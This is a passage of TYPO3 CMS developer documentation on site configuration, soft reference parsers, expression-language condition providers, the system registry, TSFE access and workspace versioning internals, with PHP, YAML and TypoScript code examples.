Return a list of all configured sites

param bool $useCache

the useCache, default: true

returntype

array

getSiteByIdentifier ( string $identifier)

Find a site by given identifier

param string $identifier

the identifier

returntype

TYPO3\CMS\Core\Site\Entity\Site

getSiteByPageId ( int $pageId, array $rootLine = NULL, string $mountPointParameter = NULL)

Traverses the rootline of a page up until a Site was found.

param int $pageId

the pageId

param array $rootLine

the rootLine, default: NULL

param string $mountPointParameter

the mountPointParameter, default: NULL

returntype

TYPO3\CMS\Core\Site\Entity\Site

The site object

A \TYPO3\CMS\Core\Site\Entity\Site object gives access to the site configuration options via

  • getConfiguration(): returns the complete configuration
  • getAttribute(): returns a specific configuration attribute (root level configuration only)

Additionally, the site object provides methods for accessing related objects (languages / errorHandling):

  • getErrorHandler(): returns a PageErrorHandler according to the site configuration
  • getAvailableLanguages(): returns languages available to a user (including access checks)
  • getLanguageById(): returns a site language object for a language ID
  • ...

Take a look at the class to find out more: EXT:core/Classes/Site/Entity/Site.php (GitHub).

The site language object

The SiteLanguage object is basically a simple model that represents the configuration options of the site regarding language as an object and provides getters for those properties.

See EXT:core/Classes/Site/Entity/SiteLanguage.php (GitHub).

Extending site configuration

Adding custom / project-specific options to site configuration

The site configuration is stored as YAML and provides per definition a context-independent configuration of a site. Especially when it comes to things like storage PIDs or general site-specific settings, it makes sense to add them to the site configuration.

The site entity automatically provides the complete configuration via the getConfiguration() method, therefore extending that means "just add whatever you want to the YAML file". The GUI is built in a way that toplevel options that are unknown or not available in the form are left alone and will not get overwritten when saved.

Example:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 1
base: https://example.org/
myProject:
  recordStorage: 15
Copied!

Access it via the API:

$site->getConfiguration()['myProject']['recordStorage']
Copied!

Extending the form / GUI

Extending the GUI is a bit more tricky.

The backend module relies on form engine to render the edit interface. Since the form data is not stored in database records but in YAML files, a couple of details have been extended of the default form engine code.

The render configuration is stored in EXT:backend/Configuration/SiteConfiguration/ (GitHub) in a format syntactically identical to TCA. However, this is not loaded into $GLOBALS['TCA'] scope, and only a small subset of TCA features is supported.

In practice, the configuration can be extended, but only with very simple fields like the basic config type input, and even for this one not all features are possible, for example the eval options are limited. The code throws exceptions or just ignores settings it does not support. While some of the limits may be relaxed a bit over time, many will be kept. The goal is to allow developers to extend the site configuration with a couple of simple things like an input field for a Google API key. However it is not possible to extend with complex TCA like inline relations, database driven select fields, FlexForm handling and similar.

The example below shows the experimental feature adding a field to site in an extension's Configuration/SiteConfiguration/Overrides/sites.php file. Note the helper methods of class \TYPO3\CMS\core\Utility\ExtensionManagementUtility can not be used.

EXT:my_extension/Configuration/SiteConfiguration/Overrides/sites.php
<?php

// Experimental example to add a new field to the site configuration

// Configure a new simple required input field to site
$GLOBALS['SiteConfiguration']['site']['columns']['myNewField'] = [
    'label' => 'A new custom field',
    'config' => [
        'type' => 'input',
        'eval' => 'required',
    ],
];

// And add it to showitem
$GLOBALS['SiteConfiguration']['site']['types']['0']['showitem'] = str_replace(
    'base,',
    'base, myNewField, ',
    $GLOBALS['SiteConfiguration']['site']['types']['0']['showitem']
);
Copied!

The field will be shown in the edit form of the configuration module and its value stored in the config.yaml file. Using the site object \TYPO3\CMS\core\Site\Entity\Site, the value can be fetched using ->getConfiguration()['myNewField'].

Soft references

Soft References are references to database elements, files, email addresses, URLs etc. which are found inside of text fields.

For example, tt_content.bodytext can contain soft references to pages, content elements and files. The page reference looks like this:

<a href="t3://page?uid=1">link to page 1</a>
Copied!

In contrast to this, the field pages.shortcut contains the page id of a shortcut. This is a reference, but not a soft reference.

The Soft Reference parsers are used by the system to find these references and process them accordingly in import/export actions and copy operations. Also, the soft references are used by integrity checking functions. For example, when you try to delete a page, TYPO3 will warn you if there are incoming page links to this page.

All references, soft and ordinary ones, are written to the reference index (table sys_refindex).

You can define which soft reference parsers to use in the TCA field softref which is available for TCA column types text and input.

Default soft reference parsers

The \TYPO3\CMS\Core\DataHandling\SoftReference namespace contains generic parsers for the most well-known types, which are the default for most TYPO3 installations. This is the list of the pre-registered keys:

substitute

softref key
substitute
Description
A full field value targeted for manual substitution (for import /export features)

notify

softref key
notify
Description
Just report if a value is found, nothing more.

ext_fileref

softref key
ext_fileref
Description
Relative file reference, prefixed EXT:[extkey]/ - for finding extension dependencies.

email

softref key
email
Description
Email highlight.

url

softref key
url
Description
URL highlights (with a scheme).

The default set up is found in typo3/sysext/core/Configuration/Services.yaml:

# Soft Reference Parsers
TYPO3\CMS\Core\DataHandling\SoftReference\SubstituteSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: substitute

TYPO3\CMS\Core\DataHandling\SoftReference\NotifySoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: notify

TYPO3\CMS\Core\DataHandling\SoftReference\TypolinkSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: typolink

TYPO3\CMS\Core\DataHandling\SoftReference\TypolinkTagSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: typolink_tag

TYPO3\CMS\Core\DataHandling\SoftReference\ExtensionPathSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: ext_fileref

TYPO3\CMS\Core\DataHandling\SoftReference\EmailSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: email

TYPO3\CMS\Core\DataHandling\SoftReference\UrlSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: url
Copied!

Examples

For the tt_content.bodytext field of type text from the example above, the configuration looks like this:

$GLOBALS['TCA']['tt_content']['columns']['bodytext'] =>
   // ...

   'config' => [
      'type' => 'text',
      'softref' => 'typolink_tag,email[subst],url',
      // ...
   ],

   // ...
];
Copied!

This means, the parsers for the softref types typolink_tag, email and url will all be applied. The email soft reference parser gets the additional parameter subst.

The content could look like this:

<p><a href="t3://page?uid=96">Congratulations</a></p>
<p>To read more about <a href="https://example.org/some-cool-feature">this cool feature</a></p>
<p>Contact: email@example.org</p>
Copied!

The parsers will return an instance of \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserResult containing information about the references contained in the string. This object has two properties: $content and $elements.

Property $content

<p><a href="{softref:424242}">Congratulations</a></p>
<p>To read more about <a href="{softref:78910}">this cool feature</a></p>
<p>Contact: {softref:123456}</p>
Copied!

This property contains the input content. Links to be substituted have been replaced by soft reference tokens.

For example: <p>Contact: {softref:123456}</p>

Tokens are strings like {softref:123456} which are placeholders for values extracted by a soft reference parser.

For each token there is an entry in $elements which has a subst key defining the tokenID and the tokenValue. See below.

Property $elements

[
    [
        'matchString' => '<a href="t3://page?uid=96">',
        'error' => 'There is a glitch in the universe, page 42 not found.',
        'subst' => [
            'type' => 'db',
            'tokenID' => '424242',
            'tokenValue' => 't3://page?uid=96',
            'recordRef' => 'pages:96',
        ]
    ],
    [
        'matchString' => '<a href="https://example.org/some-cool-feature">',
        'subst' => [
            'type' => 'string',
            'tokenID' => '78910',
            'tokenValue' => 'https://example.org/some-cool-feature',
        ]
    ],
    [
        'matchString' => 'email@example.org',
        'subst' => [
            'type' => 'string',
            'tokenID' => '123456',
            'tokenValue' => 'test@example.com',
        ]
    ]
]
Copied!

This property is an array of arrays, each with these keys:

  • matchString: The value of the match. This is only for informational purposes to show, what was found.
  • error: An error message can be set here, like "file not found" etc.
  • subst: exists on a successful match and defines the token from content

    • tokenID: The tokenID string corresponding to the token in output content, {softref:[tokenID]}. This is typically a md5 hash of a string uniquely defining the position of the element.
    • tokenValue: The value that the token substitutes in the text. If this value is inserted instead of the token, the content should match what was inputted originally.
    • type: the type of substitution. file is a relative file reference, db is a database record reference, string is a manually modified string content (email, external url, phone number)
    • relFileName: (for file type): Relative filename.
    • recordRef: (for db type): Reference to DB record on the form <table>:<uid>.

User-defined soft reference parsers

Soft Reference Parsers can also be user-defined. It is easy to set them up by registering them in your Services.(yaml|php) file. This will load them via dependency injection:

MyVendor\Extension\SoftReference\YourSoftReferenceParser:
  tags:
    - name: softreference.parser
      parserKey: your_key
Copied!

Don't forget to clear the hard caches in the admin tool after modifying DI configuration.

The soft reference parser class registered there must implement \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserInterface . This interface describes the parse method, which takes 5 parameters in total as arguments: $table, $field, $uid, $content and an optional argument $structurePath. The return type must be an instance of \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserResult . This model possesses the properties $content and $elements and has appropriate getter methods for them. The structure of these properties has been already described above. This result object should be created by its own factory method SoftReferenceParserResult::create, which expects both above-mentioned arguments to be provided. If the result is empty, SoftReferenceParserResult::createWithoutMatches should be used instead. If $elements is an empty array, this method will also be used internally.

Using the soft reference parser

To get an instance of a soft reference parser, it is recommended to use the \TYPO3\CMS\Core\DataHandling\SoftReference\SoftReferenceParserFactory class. This factory class already holds all registered instances of the parsers. They can be retrieved with the getSoftReferenceParser method. You have to provide the desired key as the first and only argument.

$softReferenceParserFactory = GeneralUtility::makeInstance(SoftReferenceParserFactory::class);
$softReferenceParser = $softReferenceParserFactory->getSoftReferenceParser('your_key');
Copied!

Symfony expression language

Symfony expression language is used by TYPO3 in certain places. These are documented in the following sections, together with explanations how they can be extended:

Symfony within TypoScript conditions

In order to provide custom conditions, its essential to understand how conditions are written. Refer to The syntax of conditions for details.

Conditions are evaluated by the Symfony Expression Language and are evaluated to boolean results. Therefore an integrator can write [true === true] which would evaluate to true. In order to provide further functionality within conditions, the Symfony Expression Language needs to be extended. There are two parts that can be added to the language, which are variables and functions.

The following sections explain how to add variables and functions.

Registering new provider within an extension

There has to be a provider, no matter whether variables or functions will be provided.

The provider is registered in the extension file Configuration/ExpressionLanguage.php:

EXT:some_extension/Configuration/ExpressionLanguage.php
return [
    'typoscript' => [
        \MyVendor\SomeExtension\ExpressionLanguage\CustomTypoScriptConditionProvider::class,
    ]
];
Copied!

This will register the defined CustomTypoScriptConditionProvider PHP class as provider within the context typoscript.

Implement provider within extension

The provider itself is written as PHP Class within the extension file /Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php, depending on the formerly registered PHP class name:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
namespace MyVendor\SomeExtension\ExpressionLanguage;

use TYPO3\CMS\Core\ExpressionLanguage\AbstractProvider;

class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
    }
}
Copied!

Additional variables

Additional variables can already be provided within the CustomTypoScriptConditionProvider PHP class:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
        $this->expressionLanguageVariables = [
            'variableA' => 'valueB',
        ];
    }
}
Copied!

In above example a new variable variableA with value valueB is added, this can be used within conditions:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[variableA === 'valueB']
    page >
    page = PAGE
    page.10 = TEXT
    page.10.value = Matched
[GLOBAL]
Copied!

Additional functions

Additional functions can be provided through another class, which has to be returned by the example CustomTypoScriptConditionProvider PHP class:

EXT:some_extension/Classes/ExpressionLanguage/CustomTypoScriptConditionProvider.php
class CustomTypoScriptConditionProvider extends AbstractProvider
{
    public function __construct()
    {
        $this->expressionLanguageProviders = [
            CustomConditionFunctionsProvider::class,
        ];
    }
}
Copied!

The returned class will look like the following:

EXT:some_extension/Classes/ExpressionLanguage/CustomConditionFunctionsProvider.php
namespace Vendor\SomeExtension\TypoScript;

use Symfony\Component\ExpressionLanguage\ExpressionFunction;
use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;

class CustomConditionFunctionsProvider implements ExpressionFunctionProviderInterface
{
    public function getFunctions()
    {
        return [
            $this->getWebserviceFunction(),
        ];
    }

    protected function getWebserviceFunction(): ExpressionFunction
    {
        // TODO: Implement
    }
}
Copied!

The class is already trying to return a new ExpressionFunction, but currently lacks implementation. That is the last step:

EXT:some_extension/Classes/ExpressionLanguage/CustomConditionFunctionsProvider.php
protected function getWebserviceFunction(): ExpressionFunction
{
    return new ExpressionFunction('webservice', function () {
        // Not implemented, we only use the evaluator
    }, function ($existingVariables, $endpoint, $uid) {
        return GeneralUtility::getUrl(
            'https://example.org/endpoint/'
            . $endpoint
            .  '/'
            . $uid
        );
    });
}
Copied!

The first argument $existingVariables is an array of which each associative key corresponds to a registered variable.

  • request - \TYPO3\CMS\Core\ExpressionLanguage\RequestWrapper
  • applicationContext - string
  • typo3 - stdClass
  • tree - stdClass
  • frontend - stdClass
  • backend - stdClass
  • workspace - stdClass
  • page - array: page record

If you need an undefined number of variables, then you can write the same function in a variadic form:

EXT:some_extension/Classes/ExpressionLanguage/CustomConditionFunctionsProvider.php
// ...
}, function (...$args) {
    $existingVariables = $args['0'];
    // ...
}
Copied!

All further arguments are provided by TypoScript. The above example could look like:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[webservice('pages', 10)]
    page.10 >
    page.10 = TEXT
    page.10.value = Matched
[GLOBAL]
Copied!

If a simple string like a page title is returned, this can be further compared:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
[webservice('pages', 10) === 'Expected page title']
    page.10 >
    page.10 = TEXT
    page.10.value = Matched
[GLOBAL]
Copied!

Further information about ExpressionFunction can be found within Symfony Expression Language - Registering Functions

System registry

Introduction

The purpose of the registry is to store key-value pairs of information. It can be considered an equivalent to the Windows registry (only not as complicated).

You might use the registry to hold information that your script needs to store across sessions or requests.

An example would be a setting that needs to be altered by a PHP script, which currently is not possible with TypoScript.

Another example: The Scheduler system extension stores when it ran the last time. The Reports system extension then checks that value, in case it determines that the Scheduler has not run for a while, it issues a warning. While this might not be of much use to someone who has set up an actual cron job for the Scheduler, but it is useful for users who need to run the Scheduler tasks manually due to a lack of access to a cron job.

The registry is not intended to store things that are supposed to go into a session or a cache, use the appropriate API for them instead.

The registry API

TYPO3 provides an API for using the registry. You can inject an instance of the Registry class via dependency injection. The instance returned will always be the same, as the registry is a singleton:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Registry;

final class MyClass
{
    private Registry $registry;

    public function __construct(Registry $registry) {
        $this->registry = $registry;
    }

    public function doSomething()
    {
        // Use $this->registry
    }
}
Copied!

You can access registry values through its get() method. The get() method provides a third parameter to specify a default value that is returned, if the requested entry is not found in the registry. This happens, for example, the first time an entry is accessed. A value can be set with the set() method.

Example

The registry can be used, for example, to write run information of a console command into the registry:

EXT:my_extension/Classes/Command/MyCommand.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use TYPO3\CMS\Core\Registry;

final class MyCommand extends Command
{
    private Registry $registry;
    private int $startTime;

    public function __construct(Registry $registry) {
        $this->registry = $registry;
        parent::__construct();
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $this->startTime = \time();

        // ... some logic

        $this->writeIntoRegistry();

        return Command::SUCCESS;
    }

    private function writeIntoRegistry(): void
    {
        $runInformation = [
            'startTime' => $this->startTime,
            'endTime' => time(),
        ];

        $this->registry->set('tx_myextension', 'lastRun', $runInformation);
    }
}
Copied!

This information can be retrieved later using:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Registry;

final class MyClass
{
    private Registry $registry;

    public function __construct(Registry $registry) {
        $this->registry = $registry;
    }

    // ... some method which calls retrieveFromRegistry()

    private function retrieveFromRegistry(): ?array
    {
        return $this->registry->get(
            'tx_myextension',
            'lastRun',
        );
    }
}
Copied!

API

class Registry
Fully qualified name
\TYPO3\CMS\Core\Registry

A class to store and retrieve entries in a registry database table.

This is a simple, persistent key-value-pair store.

The intention is to have a place where we can store things (mainly settings) that should live for more than one request, longer than a session, and that shouldn't expire like it would with a cache. You can actually think of it being like the Windows Registry in some ways.

get ( string $namespace, string $key, mixed $defaultValue = NULL)

Returns a persistent entry.

param string $namespace

Extension key of extension

param string $key

Key of the entry to return.

param mixed $defaultValue

Optional default value to use if this entry has never been set. Defaults to NULL., default: NULL

set ( string $namespace, string $key, mixed $value)

Sets a persistent entry.

This is the main method that can be used to store a key-value-pair.

Do not store binary data into the registry, it's not build to do that, instead use the proper way to store binary data: The filesystem.

param string $namespace

Extension key of extension

param string $key

The key of the entry to set.

param mixed $value

The value to set. This can be any PHP data type; This class takes care of serialization

remove ( string $namespace, string $key)

Unset a persistent entry.

param string $namespace

Extension key of extension

param string $key

The key of the entry to unset.

removeAllByNamespace ( string $namespace)

Unset all persistent entries of given namespace.

param string $namespace

Extension key of extension

The registry table (sys_registry)

Following a description of the fields that can be found in the sys_registry table:

uid

uid
Type
int

Primary key, needed for replication and also useful as an index.

entry_namespace

entry_namespace
Type
varchar(128)

Represents an entry's namespace. In general, the namespace is an extension key starting with tx_, a user script's prefix user_, or core for entries that belong to the Core.

The purpose of namespaces is that entries with the same key can exist within different namespaces.

entry_key

entry_key
Type
varchar(128)

The entry's key. Together with the namespace, the key is unique for the whole table. The key can be any string to identify the entry. It is recommended to use dots as dividers, if necessary. In this way, the naming is similar to the syntax already known in TypoScript.

entry_value

entry_value
Type
mediumblob

The entry's actual value. The value is stored as a serialized string, thus you can even store arrays or objects in a registry entry – it is not recommended though. The value in this field is stored as a binary.

TSFE

What is TSFE?

TSFE is short for \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController , a class which exists in the system extension EXT:frontend.

As the name implies: A responsibility of TSFE is page rendering. It also handles reading from and writing to the page cache. For more details it is best to look into the source code.

There are several contexts in which the term TSFE is used:

  • PHP: It is passed as request attribute frontend.controller
  • PHP: It was and is available as global array $GLOBALS['TSFE'] in PHP.
  • TypoScript: TypoScript function TSFE which can be used to access public properties in TSFE.

The TypoScript part is covered in the TypoScript Reference: TSFE. In this section we focus on the PHP part and give an overview, in which way the TSFE class can be used.

Accessing TSFE

From the source:

When calling a frontend page, an instance of this object is available as $GLOBALS['TSFE'] , even though the Core development strives to get rid of this in the future.

If access to the \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController instance is necessary, use the request attribute frontend.controller:

$frontendController = $request->getAttribute('frontend.controller');
Copied!

TSFE is not available in all contexts. In particular, it is only available in frontend contexts, not in the backend or CLI.

Initializing $GLOBALS['TSFE'] in the backend is sometimes done in code examples found online. This is not recommended. TSFE is not initialized in the backend context by the Core (and there is usually no need to do this).

From the PHP documentation:

As of PHP 8.1.0, $GLOBALS is now a read-only copy of the global symbol table. That is, global variables cannot be modified via its copy.

https://www.php.net/manual/en/reserved.variables.globals.php

Howtos

Following are some examples which use TSFE and alternatives to using TSFE, where available:

Access ContentObjectRenderer

Access the \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer (often referred to as "cObj"):

// !!! discouraged
$cObj = $GLOBALS['TSFE']->cObj;
Copied!

Obtain TSFE from request attribute 'frontend.controller':

$frontendController = $request->getAttribute('frontend.controller');
$cObj = $frontendController->cObj;
Copied!

In the case of user function (for example, a non-Extbase plugin) via setter injection:

public function setContentObjectRenderer(ContentObjectRenderer $cObj): void
{
    $this->cObj = $cObj;
}
Copied!

Access current page ID

Access the current page ID:

// !!! discouraged
$pageId = $GLOBALS['TSFE']->id;
Copied!

Can be done using the 'routing' request attribute:

$pageArguments = $request->getAttribute('routing');
$pageId = $pageArguments->getPageId();
Copied!

Access frontend user information

// !!! discouraged
$feUser = $GLOBALS['TSFE']->fe_user;
Copied!

Use the frontend.user:

/** @var \TYPO3\CMS\Frontend\Authentication\FrontendUserAuthentication $frontendUser */
$frontendUser = $request->getAttribute('frontend.user');
Copied!

Some information via frontend and backend users con be obtained via the user aspect. For example:

// return whether a frontend user is logged in
$context->getPropertyFromAspect('frontend.user', 'isLoggedIn');
Copied!

Get current base URL

It used to be possible to get the base URL configuration (from TypoScript config.baseURL) with the TSFE baseURL property. The property is now protected and deprecated since TYPO3 v12. Already in earlier version, site configuration should be used to get the base URL of the current site.

// !!! deprecated
$GLOBALS['TSFE']->baseURL
Copied!
/** @var \TYPO3\CMS\Core\Site\Entity\Site $site */
$site = $request->getAttribute('site');
// array
$siteConfiguration = $site->getConfiguration();
$baseUrl = $siteConfiguration['base'];
Copied!

Versioning and Workspaces

TYPO3 provides a feature called "workspaces", whereby changes can be made to the content of the web site without affecting the currently visible (live) version. Changes can be previewed and go through an approval process before publishing.

The technical background and a practical user guide to this feature are provided in the "workspaces" system extension manual.

All the information necessary for making any database table compatible with workspaces is described in the TCA reference (in the description of the "ctrl" section and in the description of the "versioningWS" property).

You might want to turn the workspace off for certain tables. The only way to do so is with a Configuration/TCA/Overrides/example_table.php:

EXT:some_extension/Configuration/TCA/Overrides/example_table.php
$GLOBALS['TCA']['example_table']['ctrl']['versioningWS'] = false;
Copied!

See TYPO3 Sitepackage Tutorial and Storing in the Overrides/ folder .

The concept of workspaces needs attention from extension programmers. The implementation of workspaces is however made, so that no critical problems can appear with old extensions;

  • First of all the "Live workspace" is no different from how TYPO3 has been working for years so that will be supported out of the box (except placeholder records must be filtered out in the frontend with t3ver_state != , see below).
  • Secondly, all permission related issues are implemented in DataHandler so the worst your users can experience is an error message.

However, you probably want to update your extension so that in the backend the current workspace is reflected in the records shown and the preview of content in the frontend works as well. Therefore this chapter has been written with instructions and insight into the issues you are facing.

Frontend challenges in general

For the frontend the challenges are mostly related to creating correct previews of content in workspaces. For most extensions this will work transparently as long as they use the API functions in TYPO3 to request records from the system.

The most basic form of a preview is when a live record is selected and you lookup a future version of that record belonging to the current workspace of the logged in backend user. This is very easy as long as a record is selected based on its "uid" or "pid" fields which are not subject to versioning: call sys_page->versionOL() after record selection.

However, when other fields are involved in the where clause it gets dirty. This happens all the time! For instance, all records displayed in the frontend must be selected with respect to "enableFields" configuration! What if the future version is hidden and the live version is not? Since the live version is selected first (not hidden) and then overlaid with the content of the future version (hidden) the effect of the hidden field we wanted to preview is lost unless we also check the overlaid record for its hidden field (->versionOL() actually does this). But what about the opposite; if the live record was hidden and the future version not? Since the live version is never selected the future version will never have a chance to display itself! So we must first select the live records with no regard to the hidden state, then overlay the future version and eventually check if it is hidden and if so exclude it. The same problem applies to all other "enableFields", future versions with "delete" flags and current versions which are invisible placeholders for future records. Anyway, all that is handled by the \TYPO3\CMS\Core\Domain\Repository\PageRepository class which includes functions for "enableFields" and "deleted" so it will work out of the box for you. But as soon as you do selection based on other fields like email, username, alias etc. it will fail.

Summary

Challenge: How to preview elements which are disabled by "enableFields" in the live version but not necessarily in the offline version. Also, how to filter out new live records with t3ver_state set to 1 (placeholder for new elements) but only when not previewed.

Solution: Disable check for enableFields/where_del_hidden on live records and check for them in versionOL on input record.

Frontend implementation guidelines

  • Any place where enableFields() are not used for selecting in the frontend you must at least check that t3ver_state != 1 so placeholders for new records are not displayed.
  • If you need to detect preview mode for versioning and workspaces you can use the Context object. GeneralUtility::makeInstance(Context::class)->getPropertyFromAspect('workspace', 'id', 0); gives you the id of the workspace of the current backend user. Used for preview of workspaces.
  • Use the following API function for support of version previews in the frontend:
$GLOBALS['TSFE']->sys_page->versionOL($table, &$row, $unsetMovePointers=FALSE)

Versioning Preview Overlay.

Generally ALWAYS used when records are selected based on uid or pid. If records are selected on other fields than uid or pid (e.g. "email = ....") then usage might produce undesired results and that should be evaluated on individual basis.

Principle: Record online! => Find offline?

Example:

This is how simple it is to use this record in your frontend plugins when you do queries directly (not using API functions already using them):

EXT:some_extension/Classes/SomeClass.php
$result = $queryBuilder->execute();
foreach ($result as $row) {
    $GLOBALS['TSFE']->sys_page->versionOL($table,$row);

    if (is_array($row)) {
        // ...
    }
    // ...
}
Copied!

When the live record is selected, call ->versionOL() and make sure to check if the input row (passed by reference) is still an array.

The third argument, $unsetMovePointers = FALSE, can be set to TRUE when selecting records for display ordered by their position in the page tree. Difficult to explain easily, so only use this option if you don't get a correct preview of records that has been moved in a workspace (only for "element" type versioning)

Frontend scenarios impossible to preview

These issues are not planned to be supported for preview:

  • Lookups and searching for records based on other fields than uid, pid or "enableFields" will never reflect workspace content since overlays happen to online records after they are selected.

    • This problem can largely be avoided for versions of new records because versions of a "New"-placeholder can mirror certain fields down onto the placeholder record. For the tt_content table this is configured as:

      shadowColumnsForNewPlaceholders'=> 'sys_language_uid,l18n_parent,colPos,header'

      so that these fields used for column position, language and header title are also updated in the placeholder thus creating a correct preview in the frontend.

    • For versions of existing records the problem is in reality reduced a lot because normally you don't change the column or language fields after the record is first created anyway! But in theory the preview can fail.
    • When changing the type of a page (e.g. from "Standard" to "External URL") the preview might fail in cases where a look up is done on the doktype field of the live record.

      • Page shortcuts might not work properly in preview.
      • Mount Points might not work properly in preview.
  • It is impossible to preview the value of count(*) selections since we would have to traverse all records and pass them through ->versionOL() before we would have a reliable result!
  • In \TYPO3\CMS\Core\Domain\Repository\PageRepository::getPageShortcut(), PageRepository->getMenu() is called with an additional WHERE clause which will ignore changes made in workspaces. This could also be the case in other places where PageRepository->getMenu() is used (but a search shows it is not a big problem). In this case we will for now accept that a wrong shortcut destination can be experienced during previews.

Backend challenges

The main challenge in the backend is to reflect how the system will look when the workspace gets published. To create a transparent experience for backend users we have to overlay almost every selected record with any possible new version it might have. Also when we are tracking records back to the page tree root point we will have to correct pid-values. All issues related to selecting on fields other than pid and uid also relates to the backend as they did for the frontend.

Backend module access

You can restrict access to backend modules by using $MCONF['workspaces'] in the conf.php files. The variable is a list of keywords defining where the module is available:

conf.php
$MCONF['workspaces'] = online,offline,custom
Copied!

You can also restrict function menu items to certain workspaces if you like. This is done by an argument sent to the function \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::insertModuleFunction(). See that file for more details.

Detecting current workspace

You can always check what the current workspace of the backend user is by reading WorkspaceAspect->getWorkspaceId(). If the workspace is a custom workspace you will find its record loaded in $GLOBALS['BE_USER']->workspaceRec.

The values for workspaces is either 0 (online/live) or the uid of the corresponding entry in the sys_workspace table.

Using DataHandler with workspaces

Since admin users are also restricted by the workspace it is not possible to save any live records when in a workspace. However for very special occasions you might need to bypass this and to do so, you can set the instance variable \TYPO3\CMS\Core\DataHandling\DataHandler::bypassWorkspaceRestrictions to TRUE. An example of this is when users are updating their user profile using the "User Tool > User Settings" module; that actually allows them to save to a live record (their user record) while in a draft workspace.

Moving in workspaces

TYPO3 v4.2 and beyond supports moving for "Element" type versions in workspaces. A new version of the source record is made and has t3ver_state = 4 (move-to pointer). This version is necessary in order for the versioning system to have something to publish for the move operation.

When the version of the source is published a look up will be made to see if a placeholder exists for a move operation and if so the record will take over the pid / "sortby" value upon publishing.

Preview of move operations is almost fully functional through the \TYPO3\CMS\Core\Domain\Repository\PageRepository::versionOL() and \TYPO3\CMS\Backend\Utility\BackendUtility::workspaceOL() functions. When the online placeholder is selected it looks up the source record, overlays any version on top and displays it. When the source record is selected it should be discarded in case shown in context where ordering or position matters (like in menus or column based page content). This is done in the appropriate places.

Persistence in-depth scenarios

The following section represents how database records are actually persisted in a database table for different scenarios and previously performed actions.

Placeholders

Workspace placeholders are stored in field t3ver_state which can have the following values:

-1
  • new placeholder version
  • the workspace pendant for a new placeholder (see value 1)
0
  • default state
  • representing a workspace modification of an existing record (when t3ver_wsid > 0)
1
  • new placeholder
  • live pendant for a record that is new, used as insertion point concerning sorting
2
  • delete placeholder
  • representing a record that is deleted in workspace
4
  • move pointer
  • workspace pendant of a record that shall be moved

Overview

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
10 0 0 128 0 0 0 0 0 example.org website
20 10 0 128 0 0 0 0 0 Current issues
21 10 0 256 0 0 0 20 1 Actualité
22 10 0 384 0 0 0 20 2 Neuigkeiten
30 10 0 512 0 0 0 0 0 Other topics
... ... ... ... ... ... ... ... ... ...
41 30 0 128 1 0 1 0 0 Topic #1 new
42 -1 0 128 1 41 -1 0 0 Topic #2 new
uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
12 20 0 256 0 0 0 0 0 Article #2
13 20 0 384 0 0 0 0 0 Article #3
... ... ... ... ... ... ... ... ... ...
21 -1 0 128 1 11 0 0 0 Article #1 modified
22 -1 0 256 1 12 2 0 0 Article #2 deleted
23 -1 0 384 1 13 4 0 0 Article #3 moved
25 20 0 512 1 0 1 0 0 Article #4 new
26 -1 0 512 1 25 -1 0 0 Article #4 new
27 20 1 640 0 0 1 0 0 Article #5 discarded
28 -1 1 640 0 27 -1 0 0 Article #5 discarded
29 41 0 128 1 0 1 0 0 Topic #1 Article new
30 -1 0 128 1 29 -1 0 0 Topic #1 Article new
... ... ... ... ... ... ... ... ... ...
31 20 0 192 1 0 1 11 1 Entrefilet #1 (fr)
32 -1 0 192 1 31 -1 11 1 Entrefilet #1 (fr)
33 20 0 224 1 0 1 11 2 Beitrag #1 (de)
34 -1 0 224 1 33 -1 11 2 Beitrag #1 (de)

Scenario: Create new page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
10 0 0 128 0 0 0 0 0 example.org website
... ... ... ... ... ... ... ... ... ...
30 10 0 512 0 0 0 0 0 Other topics
... ... ... ... ... ... ... ... ... ...
41 30 0 128 1 0 1 0 0 Topic #1 new
42 -1 0 128 1 41 -1 0 0 Topic #2 new
  • record uid = 41 defines sorting insertion point page pid = 30 in live workspace, t3ver_state = 1
  • record uid = 42 contains actual version information, pointing back to new placeholder, t3ver_oid = 41, indicating new version state t3ver_state = -1

Scenario: Modify record

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
... ... ... ... ... ... ... ... ... ...
21 -1 0 128 1 11 0 0 0 Article #1 modified
